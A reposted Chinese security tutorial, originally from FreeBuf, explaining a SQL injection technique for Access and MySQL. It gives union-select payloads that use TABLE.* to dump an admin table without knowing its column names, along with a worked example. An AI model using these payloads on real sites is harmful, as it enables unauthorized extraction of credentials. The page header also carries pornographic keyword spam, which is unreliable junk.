日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

mysql偏移注入_移位溢注:告别靠人品的偏移注入

發布時間:2024/7/5 数据库 36 豆豆
生活随笔 收集整理的這篇文章主要介紹了 mysql偏移注入_移位溢注:告别靠人品的偏移注入 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

*本文原創作者:SeagullGR,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載

在Access數據庫類型注入的時候,我們獲取不到列名(前提是有表名),一般會選擇使用偏移注入,但是這種注入方式往往借助的是個人的人品,且步驟繁瑣。本文中我們研究了一種新的注入技術讓“偏移注入不再需要人品”。在這里定義這種注入技術為:“移位溢注技術”。它適用于ACCESS和MYSQL(任何版本)。

我們先來看看普通的偏移注入步驟:1.判斷注入點

2.order by 判斷長度

3.判斷表名

4.聯合查詢

5.獲取表中列數:union select 1,2,3,4,..,* from TABLE

6.開始偏移注入:TABLE as a inner join TABLE as b on a.id=b.id

由于步驟6的方法過于需要人品值,且語句繁瑣,因此在這里,我們研究新的注入技術。

首先來看看步驟6語句的整體意思:

步驟6的語句,表示給TALBE取2個別名,然后分別用別名取查詢TALBE的內容(表a和表b);而on a.id = b.id 這樣的條件是為了滿足語法需求,實際并沒有作用,因為相同內容的表,相同字段內容一定相同。

這時,我們再回過頭來看步驟5:

由于聯合查詢中select后面添加數字的目的是為了讓聯合查詢返回接結果和網站正常查詢返回的結果的列數一致(不一致數據庫會報錯,頁面無法顯示),且*表示通配符,可以表示整個表格所有列;因此這里通過數字來占位,并使用*來替代TABLE中的所有列,使得聯合查詢可以完成,并推算出*的值。

這時候我們繼續研究偏移注入的整體公式方法,發現即使使用多級偏移注入也需要一定的概率(人品值)才可以得到想要的結果,所以我們就嘗試研究新的方法能不能替換這種不固定概率的方法。

現在我們重新整理一下SQL語句,從聯合查詢開始:

1.原union語句:union select 1,2,3,..,p..,n from TABLE

(p=頁面爆出的數字,可能有多個p1,p2..;n=原網站查詢的總列數;TALBE=我們獲得的表名;下面開始就使用上述字母的定義)

2.新語句:union select 1,2,3,..,p-1,TABLE.*,p+k,..,n from TABLE where 字段名 = 字段內容

在p的位置爆出TALBE表中第一個字段的內容(其他位置還可能爆出更多內容。這里如果存在已知字段名可以使用,沒有就不用,一般id這個字段時存在的,可以使用id = 1來顯示第一行)union select 1,2,3,..,p-2,TABLE.*,p+k-1,..,n from TABLE where 字段名 = 字段內容

在p的位置爆出TALBE表中第二個字段的內容(其他位置還可能爆出更多內容)union select 1,2,3,..,p-3,TABLE.*,p+k-2,..,n from TABLE where 字段名 = 字段內容

在p的位置爆出TALBE表中第三個字段的內容(其他位置還可能爆出更多內容)

注:這里一定是TALBE.*而不是*

3.1 以此類推可以爆出TALBE的每一列內容。

3.2 如果p

原理

1.由原語句:union select 1,2,3,..,p..,n-k,* from TABLE 可以得出該聯合查詢的目的是構造和原網站相同列數的查詢結構,使得頁面上可以顯示對應的數字;這條語句相當于是做了兩次查詢并將它們的結果合并,第一次做了select 1,2,3,..,n-k from TALBE ,第二次做了select * from TALBE ,然后將它們的結果合并。

這可以參考mysql的語句:select 1,2,3,4,5,admin.* from admin;

2.只要滿足原理1的要求,保障聯合查詢的結果和原網站查詢的結果列數一致即可;因此可以將TALBE.*向前移動至頁面顯示的數字處來爆出TALBE列中的內容。

這可以參考mysql的語句:

select 1,2,3,4,5,6,7,8,9,10 from news where id =1 union select 1,2,3,4,5,6,7,admin.* from admin;

select 1,2,3,4,5,6,7,8,9,10 from news where id =1 union select 1,2,3,admin.*,7,8,9,10 from admin;

注:假設數字4、5在頁面顯示。

由下圖可知,其實數據已近查詢出來,但是頁面沒有顯示,這個是通過平移查詢結果到頁面顯示的數字上去,即可爆出敏感字段。

例子:

步驟1:判斷注入點是否存在

步驟2:判斷字段長度:order by 35

步驟3:獲得表名(必備條件) ? and exists(select * from admin)

步驟4:獲取不了列名(當嘗試多個常用字段名以后,最終還是發現無法獲得字段名)

步驟5:使用聯合查詢(union select)

步驟6:使用新注入技術方法

(1)獲取admin表的列數:

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,* from admin——返回錯誤頁面

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,* from admin——返回錯誤頁面

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,* from admin——返回錯誤頁面

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,* from admin——返回錯誤頁面

...

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,* from admin——返回步驟5頁面,因此admin表的列數為6

(2)由于網頁中包含連續數字,表示可以顯示連續的查詢結果,構造SQL語句查詢前四列第一行。

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35 from admin

(3)由第一行第一列內容為1,可以猜測該表有id字段,因此修改語句獲取其他行。

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35 from admin where id = 3

總結

在這里我們命名這種新注入技術為"移位溢注"。由此如果MYSQL小于5.0的情況下所具備的條件和ACCESS一樣,也可以使用此方法注入,如果是MYSQL大于5.0的版本,使用此方法可以省去獲得列名的步驟。

*本文原創作者:SeagullGR,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載(MST.LAB HI-OURLIFE 米斯特實驗室 @ Seagull)

總結

以上是生活随笔為你收集整理的mysql偏移注入_移位溢注:告别靠人品的偏移注入的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。